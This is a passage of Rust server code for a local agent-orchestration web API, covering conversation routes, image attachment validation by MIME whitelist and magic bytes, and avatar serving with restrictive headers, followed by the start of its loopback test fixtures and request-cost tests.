        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        blocking(move || {
            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
                return Err(ApiError::bad_request(format!(
                    "unknown persona `{}`",
                    body.persona
                )));
            };
            let mut talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
            Ok(talk)
        })
        .await
    };
    // As in `talk_agent`: settle the claim before replying, even on refusal.
    let observed = ui.queued_generation(&id);
    let fresh = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?)).await
    };
    let draining = match fresh {
        Ok(talk) => {
            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
        }
        Err(_) => false,
    };
    let talk = switched?;
    Ok(Json(TalkView::new(talk, draining)))
}

/// The body of `POST /api/talks/{id}/implementers`.
#[derive(Debug, Deserialize)]
struct TalkImplementers {
    implementers: u8,
}

/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
/// like [`talk_agent`]: the turn guard is held for the change and always handed
/// to `drain_loop`, so a draft left meanwhile is not stranded.
async fn talk_implementers(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    Json(body): Json<TalkImplementers>,
) -> ApiResult<Json<TalkView>> {
    let id = {
        let ui = Arc::clone(&ui);
        blocking(move || resolve_talk(&ui.talks, &id)).await?
    };
    let repo = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
    };
    let cfg = config_for(&repo).await?;
    // Refuse a request that cannot succeed before taking the claim: a claim
    // taken for it is handed to `drain_loop`, which holds the talk busy for a
    // moment, so a refusal would make the next request see "busy" instead of
    // its own answer. The checks after the claim stay the ones that decide.
    {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        let wanted = body.implementers;
        blocking(move || {
            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
            refuse_if_closed(&ui.talks.get(&id)?)
        })
        .await?;
    }
    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
        return Err(ApiError::conflict(
            "a talk turn is running; change the implementers once it has answered",
        ));
    };
    let switched = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        let cfg = cfg.clone();
        blocking(move || {
            let chosen =
                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
            let mut talk = ui.talks.get(&id)?;
            if !talk.status.open() {
                return Err(ApiError::conflict(format!(
                    "talk {} is {} and takes no more turns",
                    talk.short(),
                    talk.status.as_str()
                )));
            }
            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
            Ok(talk)
        })
        .await
    };
    // As in `talk_agent`: settle the claim before replying, even on refusal.
    let observed = ui.queued_generation(&id);
    let fresh = {
        let ui = Arc::clone(&ui);
        let id = id.clone();
        blocking(move || Ok(ui.talks.get(&id)?)).await
    };
    let draining = match fresh {
        Ok(talk) => {
            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
        }
        Err(_) => false,
    };
    let talk = switched?;
    Ok(Json(TalkView::new(talk, draining)))
}

/// `POST /api/talks/{id}/close`.
async fn talk_close(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TalkView>> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let mut talk = ui.talks.get(&id)?;
        talk::close(&mut talk, &ui.talks)?;
        let thinking = ui.is_thinking(&talk.id);
        Ok(Json(TalkView::new(talk, thinking)))
    })
    .await
}

/// `POST /api/talks/{id}/reopen`.
async fn talk_reopen(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
) -> ApiResult<Json<TalkView>> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let mut talk = ui.talks.get(&id)?;
        talk::reopen(&mut talk, &ui.talks)?;
        let thinking = ui.is_thinking(&talk.id);
        Ok(Json(TalkView::new(talk, thinking)))
    })
    .await
}

/// `DELETE /api/talks/{id}`.
///
/// Removes the conversation's record and artifacts outright, unlike
/// [`talk_close`] which keeps the record as history. A turn already in
/// flight is not refused here the way [`run_delete`] refuses a live run:
/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
/// under [`Talks::guard`], that the record they are about to write back is
/// still there, so a delete racing a turn is safe without this route having
/// to know a turn is running at all.
async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        ui.talks.remove(&id)?;
        Ok(StatusCode::NO_CONTENT)
    })
    .await
}

/// Expand an id or short id to exactly one talk id.
fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
}

/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
/// future `talk-say`.
async fn talk_attachment_post(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    headers: HeaderMap,
    body: Bytes,
) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
    let mime = validate_attachment(&headers, &body)?;
    let name = filename_header(&headers);
    let data = body.to_vec();
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
        Ok((StatusCode::CREATED, Json(att)))
    })
    .await
}

/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
/// `<img>` tag in the transcript.
async fn talk_attachment_get(
    State(ui): State<Arc<Ui>>,
    Path((id, att)): Path<(String, String)>,
) -> ApiResult<Response> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
            return Err(ApiError::not_found(format!(
                "talk {id} has no attachment `{att}`"
            )));
        };
        Ok(attachment_response(&meta.mime, data))
    })
    .await
}

/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
/// the icon setting, so changing it changes the URL.
fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
    let mut id = String::new();
    for b in p.id.bytes() {
        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
            id.push(char::from(b));
        } else {
            id.push_str(&format!("%{b:02X}"));
        }
    }
    format!(
        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
        persona_icon::fingerprint(p.icon.as_deref())
    )
}

#[derive(Debug, Default, Deserialize)]
struct AvatarQuery {
    persona: Option<String>,
    /// Set by the page after the first load failed: skip the `icon`.
    builtin: Option<String>,
}

/// Served with every built-in avatar: it is an image, so nothing else may run.
const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";

fn builtin_avatar(id: &str) -> Response {
    svg_avatar(persona_icon::builtin_svg(id))
}

async fn operator_avatar() -> Response {
    svg_avatar(persona_icon::operator_svg())
}

fn svg_avatar(svg: &'static str) -> Response {
    (
        [
            (header::CONTENT_TYPE, "image/svg+xml"),
            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
            (header::CACHE_CONTROL, "no-cache"),
        ],
        svg,
    )
        .into_response()
}

/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
/// operator's raster `icon` when it resolves and its bytes agree with its
/// type, the built-in SVG otherwise. Display only; every failure is a warning
/// and the built-in avatar, never an error response.
async fn talk_avatar(
    State(ui): State<Arc<Ui>>,
    Path(id): Path<String>,
    Query(q): Query<AvatarQuery>,
) -> ApiResult<Response> {
    blocking(move || {
        let id = resolve_talk(&ui.talks, &id)?;
        let talk = ui.talks.get(&id)?;
        let wanted = q
            .persona
            .as_deref()
            .map(str::trim)
            .filter(|p| !p.is_empty())
            .unwrap_or(&talk.persona)
            .to_owned();
        let specs = match Config::discover(&talk.repo, None) {
            Ok((cfg, _)) => cfg.talk.personas,
            Err(e) => {
                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
                Vec::new()
            }
        };
        let Some(found) = persona::find(&specs, &wanted) else {
            return Ok(builtin_avatar(persona::DEFAULT_ID));
        };
        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
            return Ok(builtin_avatar(&found.id));
        };
        match persona_icon::load(icon) {
            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
                let mut res = attachment_response(mime, bytes);
                res.headers_mut().insert(
                    header::CACHE_CONTROL,
                    header::HeaderValue::from_static("no-cache"),
                );
                Ok(res)
            }
            Ok((mime, _)) => {
                tracing::warn!(
                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
                    found.id
                );
                Ok(builtin_avatar(&found.id))
            }
            Err(e) => {
                tracing::warn!(
                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
                    found.id
                );
                Ok(builtin_avatar(&found.id))
            }
        }
    })
    .await
}

/// Validate an attachment upload's declared `Content-Type` and the bytes
/// themselves, returning the canonical mime on success.
///
/// Two checks, both required: the header has to name one of
/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
/// simply never in the list, active content rather than a picture, the same
/// exclusion [`asset_content_type`]'s doc explains), and the file's own
/// magic number has to agree. The second is what stops a mislabeled upload -
/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
/// a declared type is a claim, not a fact, so it is never trusted alone.
fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
    if data.len() > ATTACHMENT_MAX_BYTES {
        return Err(ApiError::bad_request(format!(
            "attachment is {} bytes, over the {} MiB limit",
            data.len(),
            ATTACHMENT_MAX_BYTES / (1024 * 1024)
        ))
        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
    }
    if data.is_empty() {
        return Err(ApiError::bad_request("attachment is empty"));
    }
    let declared = declared_mime(headers)?;
    match sniffed_mime(data) {
        Some(sniffed) if sniffed == declared => Ok(declared),
        Some(sniffed) => Err(ApiError::bad_request(format!(
            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
        ))),
        None => Err(ApiError::bad_request(
            "the file's bytes do not match any accepted image format",
        )),
    }
}

/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
/// and nothing else - parameters like `; charset=` are stripped, but the
/// value itself is not otherwise interpreted.
fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
    let raw = headers
        .get(header::CONTENT_TYPE)
        .and_then(|v| v.to_str().ok())
        .unwrap_or("")
        .split(';')
        .next()
        .unwrap_or("")
        .trim()
        .to_ascii_lowercase();
    ATTACHMENT_MIME_WHITELIST
        .iter()
        .find(|&&m| m == raw)
        .copied()
        .ok_or_else(|| {
            if raw == "image/svg+xml" {
                ApiError::bad_request(
                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
                     not just a picture",
                )
            } else if raw.is_empty() {
                ApiError::bad_request("Content-Type is required for an attachment upload")
            } else {
                ApiError::bad_request(format!(
                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
                     image/gif or image/webp"
                ))
            }
        })
}

/// Identify an image by its magic number, independent of whatever
/// `Content-Type` claimed.
fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
        Some("image/png")
    } else if data.starts_with(b"\xff\xd8\xff") {
        Some("image/jpeg")
    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
        Some("image/gif")
    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
        Some("image/webp")
    } else {
        None
    }
}

/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
/// display - see [`talk::Attachment::name`]'s doc on why it never
/// contributes to a path. A missing or blank header (curl without it, an
/// older front end) falls back to a generic name rather than refusing the
/// upload over a field that is cosmetic.
fn filename_header(headers: &HeaderMap) -> String {
    headers
        .get(FILENAME_HEADER)
        .and_then(|v| v.to_str().ok())
        .map(str::trim)
        .filter(|s| !s.is_empty())
        .unwrap_or("attachment")
        .to_owned()
}

/// Every attachment `GET` response: the mime re-validated against the same
/// closed whitelist the upload route enforces - never the string trusted
/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
/// cannot decide it knows better than the type we send. Unlike a panel asset
/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
/// document renders inline, not agent-authored HTML in a sandboxed frame.
fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
    let content_type = ATTACHMENT_MIME_WHITELIST
        .iter()
        .find(|&&m| m == mime)
        .copied()
        .unwrap_or("application/octet-stream");
    (
        [
            (header::CONTENT_TYPE, content_type),
            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
        ],
        body,
    )
        .into_response()
}

/// The configuration for a repository, read off the disk for this request.
///
/// Through [`blocking`] because discovery reads and merges several TOML files,
/// and because the alternative - caching it in [`Ui`] at startup - would mean
/// the operator's phone kept interviewing with a roster they had already
/// changed, with no way to reload it but restarting the server they are not
/// sitting in front of.
async fn config_for(repo: &FsPath) -> ApiResult<Config> {
    let repo = repo.to_path_buf();
    blocking(move || {
        let (cfg, _) = Config::discover(&repo, None)?;
        Ok(cfg)
    })
    .await
}

/// The one prefix rule, used for both runs and tasks: a leading match for a
/// full id, a trailing match for the short form an operator reads off a
/// report. Written here rather than borrowed from `queue::resolve_id` because
/// the UI needs the two failures as different status codes, and telling them
/// apart from an error message is not something to build a route on.
fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
    let mut hits = ids
        .into_iter()
        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
    match (hits.next(), hits.next()) {
        (Some(one), None) => Ok(one),
        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
            "`{prefix}` matches more than one {what}, including {a} and {b}"
        ))),
    }
}

#[cfg(test)]
mod tests {

    #[test]
    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
        let dir = tempfile::tempdir().unwrap();
        let store = ask::Questions::at(dir.path().join("questions"));
        let mut q = Question::new(
            "task".to_owned(),
            "conduct".to_owned(),
            "conduct".to_owned(),
            "choose".to_owned(),
            String::new(),
            vec!["keep".to_owned()],
        );
        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
        q.say("why?").unwrap();
        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
        assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
        store.put(&mut q).unwrap();
        assert!(QuestionView::of(q.clone(), &store, true).deputy_exhausted);
        assert_eq!(store.count_needs_owner(), 1);
        store.beat(&q.id, ask::WaiterKind::Deputy);
        assert!(!QuestionView::of(q.clone(), &store, true).deputy_exhausted);
        assert_eq!(store.count_needs_owner(), 0);
        let mut stale = store.read_lease(&q.id).unwrap();
        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
        let view = QuestionView::of(q.clone(), &store, true);
        assert!(view.deputy_exhausted);
        assert!(view.waiting_on_agent);
        assert_eq!(view.question.choices, ["keep"]);
        store.drop_lease(&q.id);
        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
        assert!(!QuestionView::of(q, &store, true).deputy_exhausted);
    }

    #[test]
    fn holder_reads_the_lease_not_the_record() {
        let mut q = Question::new(
            "run".to_owned(),
            "implement".to_owned(),
            "impl-A".to_owned(),
            "which?".to_owned(),
            String::new(),
            Vec::new(),
        );
        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
        q.cwd = Some("/tmp".to_owned());
        assert_eq!(holder_of(&q, None), Some("nobody"));
        let beat = |kind, ago: i64| ask::Lease {
            kind,
            pid: 1,
            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
                .unwrap(),
        };
        let fresh = beat(ask::WaiterKind::Asker, 1);
        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
        let daemon = beat(ask::WaiterKind::Daemon, 1);
        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
        let stale = beat(ask::WaiterKind::Asker, 3600);
        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));

        // A conductor question says "deputy" only while one is attached and
        // alive, and "nobody" - never silence - when nothing ever listened.
        let mut c = Question::new(
            "task".to_owned(),
            crate::conduct::NODE.to_owned(),
            "conduct".to_owned(),
            "which?".to_owned(),
            String::new(),
            Vec::new(),
        );
        assert_eq!(holder_of(&c, None), Some("nobody"));
        c.cwd = Some("/tmp".to_owned());
        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
        let deputy = beat(ask::WaiterKind::Deputy, 1);
        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));

        // A release-watch question: nobody until a deputy is attached.
        let mut r = Question::new(
            String::new(),
            crate::bump::NOTICE_NODE.to_owned(),
            "release-watch".to_owned(),
            "stuck?".to_owned(),
            String::new(),
            vec!["hold".to_owned()],
        );
        assert_eq!(holder_of(&r, None), Some("nobody"));
        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
        // A choice-less bump notice is nobody's question at all.
        r.deputy = None;
        r.seat = "bump".to_owned();
        assert_eq!(holder_of(&r, None), None);

        // A merge approval is the same: nobody until a deputy is attached
        // and alive, never a silent "no holder".
        let mut m = Question::new(
            "run".to_owned(),
            crate::land::APPROVAL_NODE.to_owned(),
            "land".to_owned(),
            "merge?".to_owned(),
            String::new(),
            Vec::new(),
        );
        assert_eq!(holder_of(&m, None), Some("nobody"));
        assert_eq!(
            holder_of(&m, Some(&fresh)),
            Some("nobody"),
            "a lease with no deputy is not a listener"
        );
        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
        assert_eq!(holder_of(&m, None), Some("nobody"));
    }

    fn stub_config() -> Config {
        // An explicit roster, so the result never depends on which agent CLIs
        // this machine has installed.
        Config {
            agents: vec![crate::config::AgentSpec {
                id: "stub".to_owned(),
                kind: AgentKind::Command,
                model: None,
                command: vec!["true".to_owned()],
                extra_args: Vec::new(),
                env: Default::default(),
                prompt_delivery: None,
            }],
            ..Config::default()
        }
    }

    fn plain_question(seat: &str) -> Question {
        Question::new(
            String::new(),
            "n".to_owned(),
            seat.to_owned(),
            "s".to_owned(),
            String::new(),
            Vec::new(),
        )
    }

    #[test]
    fn deputies_enabled_follows_the_config() {
        let on = stub_config();
        assert!(crate::deputy::can_start(Some(&on), ""));
        assert!(crate::deputy::can_start(Some(&on), "stub"));
        let mut off = on.clone();
        off.daemon.max_deputies = 0;
        assert!(!crate::deputy::can_start(Some(&off), ""));
        let mut empty = on;
        empty.agents.clear();
        assert!(!crate::deputy::can_start(Some(&empty), ""));
        assert!(!crate::deputy::can_start(None, ""));
    }

    #[test]
    fn question_views_load_the_config_once() {
        let dir = TempDir::new().unwrap();
        let store = ask::Questions::at(dir.path().to_path_buf());
        let mut with_deputy = plain_question("b");
        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];

        let calls = std::cell::Cell::new(0usize);
        let views = question_views(qs.clone(), &store, || {
            calls.set(calls.get() + 1);
            Some(stub_config())
        });
        assert_eq!(calls.get(), 1);
        assert_eq!(views.len(), 3);
        for (v, q) in views.iter().zip(&qs) {
            assert_eq!(
                v.deputies_enabled,
                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
            );
        }

        let views = question_views(qs, &store, || None);
        assert!(views.iter().all(|v| !v.deputies_enabled));

        let calls = std::cell::Cell::new(0usize);
        let views = question_views(Vec::new(), &store, || {
            calls.set(calls.get() + 1);
            None
        });
        assert!(views.is_empty());
        assert_eq!(calls.get(), 0);
    }

    use pretty_assertions::assert_eq;
    use serde_json::Value;
    use tempfile::TempDir;
    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};

    use super::*;
    use crate::config::Config;
    use crate::queue::Source;

    /// How many 10ms steps a settle loop takes before it calls a stall a
    /// stall - thirty seconds.
    ///
    /// These loops wait on real `sh` subprocesses, and the machine that runs
    /// the gate runs several suites at once, so a two-second budget was not
    /// waiting for the reply, it was racing the scheduler: two of these
    /// tests failed under that load with the turn simply not landed yet.
    /// This is a hang guard, not a latency assertion - every loop breaks the
    /// moment its condition holds, so a generous cap costs an idle machine
    /// nothing and still fails a genuine hang instead of hanging the suite.
    const SETTLE_STEPS: usize = 3_000;

    /// A home with a queue and a runs directory, and a router serving it on
    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
    /// dependency, not ours - so the tests drive a real socket, which has the
    /// side benefit of asserting the status line and content types the phone
    /// actually receives.
    struct Fixture {
        home: TempDir,
        addr: SocketAddr,
    }

    impl Fixture {
        async fn start() -> Self {
            Self::with_loop(launch_idle).await
        }

        /// A fixture whose loop is `launch`.
        async fn with_loop(launch: Launch) -> Self {
            let home = TempDir::new().expect("temp home");
            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
            Self { home, addr }
        }

        /// A fixture whose `ui.repo` is a real directory rather than the
        /// usual placeholder - for the routes that read config off it
        /// (`GET /api/repos`) and would otherwise have nothing to discover.
        async fn with_repo(repo: PathBuf) -> Self {
            let home = TempDir::new().expect("temp home");
            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
            Self { home, addr }
        }

        /// As [`Fixture::with_repo`], with the machine-config file the
        /// settings screen reads and writes.
        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
            let home = TempDir::new().expect("temp home");
            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
            Self { home, addr }
        }

        async fn serve(
            home: &FsPath,
            repo: PathBuf,
            launch: Launch,
            machine: Option<PathBuf>,
        ) -> SocketAddr {
            let queue = Queue::at(home.join("queue"));
            let runs = home.join("runs");
            std::fs::create_dir_all(&runs).expect("runs dir");
            let worktrees = home.join("wt").join("magi");
            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
            let ui = Ui::new(
                queue,
                Questions::at(home.join("questions")),
                Talks::at(home.join("talks")),
                runs,
                home.to_path_buf(),
                repo,
            )
            .with_worktrees_root(worktrees)
            .with_machine_config(machine)
            .with_launch(launch);
            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
                .await
                .expect("bind loopback");
            let addr = listener.local_addr().expect("local addr");
            tokio::spawn(async move {
                let router = ui
                    .router()
                    .layer(axum::middleware::from_fn(request_cost::observe));
                let _ = axum::serve(listener, router).await;
            });
            addr
        }

        fn queue(&self) -> Queue {
            Queue::at(self.home.path().join("queue"))
        }

        fn questions(&self) -> Questions {
            Questions::at(self.home.path().join("questions"))
        }

        fn talks(&self) -> Talks {
            Talks::at(self.home.path().join("talks"))
        }

        fn runs(&self) -> PathBuf {
            self.home.path().join("runs")
        }

        async fn get(&self, path: &str) -> Res {
            request(self.addr, "GET", path, None).await
        }

        /// The status and headers without the body, which is how the front end
        /// preflights a panel: a sandboxed frame is opaque to the parent
        /// document, so the only way to tell "no panel" from "a panel that
        /// rendered blank" is to ask before mounting.
        async fn head(&self, path: &str) -> Res {
            request(self.addr, "HEAD", path, None).await
        }

        async fn post(&self, path: &str, body: Option<&str>) -> Res {
            request(self.addr, "POST", path, body).await
        }

        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
            request_with(self.addr, "GET", path, None, extra).await
        }

        async fn delete(&self, path: &str) -> Res {
            request(self.addr, "DELETE", path, None).await
        }

        async fn put(&self, path: &str, body: &str) -> Res {
            request(self.addr, "PUT", path, Some(body)).await
        }

        /// `POST` a raw body with its own headers - see [`request_bytes`].
        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
            request_bytes(self.addr, path, headers, body).await
        }
    }

    /// Real tracking refs exercise the successful discovery path (including
    /// extraction), rather than counting cheap failures on a placeholder repo.
    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
        let tmp = TempDir::new().unwrap();
        let mut repos = Vec::new();
        for name in ["one", "two"] {
            let repo = tmp.path().join(name);
            let origin = tmp.path().join(format!("{name}.git"));
            std::fs::create_dir_all(&repo).unwrap();
            crate::git::git(&repo, &["init", "-b", "main"])
                .await
                .unwrap();
            std::fs::write(
                repo.join("magi.toml"),
                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
            )
            .unwrap();
            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
            crate::git::git(
                &repo,
                &[
                    "-c",
                    "user.name=fixture",
                    "-c",
                    "user.email=fixture@example.invalid",
                    "commit",
                    "-m",
                    "fixture",
                ],
            )
            .await
            .unwrap();
            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
                .await
                .unwrap();
            crate::git::git(
                &repo,
                &["remote", "add", "origin", origin.to_str().unwrap()],
            )
            .await
            .unwrap();
            crate::git::git(&repo, &["push", "origin", "main"])
                .await
                .unwrap();
            crate::git::git(
                &repo,
                &[
                    "symbolic-ref",
                    "refs/remotes/origin/HEAD",
                    "refs/remotes/origin/main",
                ],
            )
            .await
            .unwrap();
            let (cfg, _) = Config::discover(&repo, None).unwrap();
            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
            repos.push(repo);
        }
        let repos: [PathBuf; 2] = repos.try_into().unwrap();
        (tmp, repos)
    }

    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
        let (tmp, repos) = performance_repositories().await;
        let machine = tmp.path().join("machine.toml");
        std::fs::write(&machine, "").unwrap();
        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
        (tmp, repos, fx)
    }

    fn seed_performance(
        fx: &Fixture,
        repos: &[PathBuf; 2],
        questions: usize,
        runs: usize,
        items: usize,
    ) {
        // Saving states directly never starts a run or changes MAGI_HOME.
        for i in fx.questions().list().len()..questions {
            let mut question = Question::new(
                "20261001-000000-0000".into(),
                "implement".into(),
                "impl-A".into(),
                format!("question {i}"),
                "context".into(),
                vec!["yes".into(), "no".into()],
            );
            question.id = format!("20261003-000000-{i:04x}");
            fx.questions().put(&mut question).unwrap();
        }
        for i in run_ids(&fx.runs()).len()..runs {
            write_run_repo(
                &fx.runs(),
                &format!("20261001-000000-{i:04x}"),
                RunStatus::Ready,
                repos[i % 2].to_str().unwrap(),
            );
        }
        for i in fx.talks().list().len()..items {
            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
            let mut talk = fx.talks().get(&id).unwrap();
            talk.repo = repos[i % 2].clone();
            fx.talks().put(&mut talk).unwrap();
            let mut task = crate::queue::Task::new(
                format!("task {i}"),
                "instruction".into(),
                repos[i % 2].clone(),
                crate::queue::Source::Agent {
                    run: id,
                    node: crate::queue::CHAT_NODE.into(),
                },
            );
            task.id = format!("20261004-000000-{i:04x}");
            fx.queue().put(&mut task).unwrap();
            // Notices has a production retention cap; seed up to that cap.
            if i < crate::notices::CAP {
                Notices::at(fx.home.path().join("notifications"))
                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
                    .unwrap();
            }
        }
        assert_eq!(fx.questions().list().len(), questions);
        assert_eq!(run_ids(&fx.runs()).len(), runs);
        assert_eq!(fx.talks().list().len(), items);
        assert_eq!(fx.queue().list().len(), items);
        assert_eq!(
            Notices::at(fx.home.path().join("notifications"))
                .list()
                .len(),
            items.min(crate::notices::CAP)
        );
    }

    fn request_counts(res: &Res) -> (usize, usize) {
        assert_eq!(res.status, 200, "{}", res.body);
        (
            res.header("x-test-discoveries").unwrap().parse().unwrap(),
            res.header("x-test-git").unwrap().parse().unwrap(),
        )
    }

    #[tokio::test]
    async fn list_request_cost_is_independent_of_record_count() {
        let (_tmp, repos, fx) = performance_fixture().await;
        let mut previous = None;
        for n in [4, 60] {
            seed_performance(&fx, &repos, n, n, n);
            let mut costs = Vec::new();
            for (path, discoveries) in [
                ("/api/questions", 1),
                ("/api/talks", 2),
                ("/api/health", 1),
                ("/api/stats", 1),
            ] {
                // Equal cold extraction caches at both scales; this also
                // bounds first-request cost instead of only warmed requests.
                for repo in &repos {
                    let cache = repo.join(".git/magi/config");
                    if cache.exists() {
                        std::fs::remove_dir_all(cache).unwrap();
                    }
                }
                let cost = request_counts(&fx.get(path).await);
                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
                assert_eq!(cost.0, discoveries, "{path}, N={n}");
                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
                costs.push(cost);
            }
            if let Some(previous) = previous {
                assert_eq!(costs, previous);
            }
            previous = Some(costs);
        }
        // runs reads shared row inputs and probes process liveness; queue
        // builds one blocker inventory; notifications reads its own store.
        // None discovers configuration or spawns git per item.
    }

    /// The same handler path without transport, so the deterministic cause
    /// can also be checked in environments that prohibit binding sockets.
    #[tokio::test]
    async fn list_handler_cost_without_transport() {
        let (_tmp, repos) = performance_repositories().await;
        let fx = Fixture {
            home: TempDir::new().unwrap(),
            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
        };
        let ui = Arc::new(
            Ui::new(
                fx.queue(),
                fx.questions(),
                fx.talks(),
                fx.runs(),
                fx.home.path().to_path_buf(),
                repos[0].clone(),
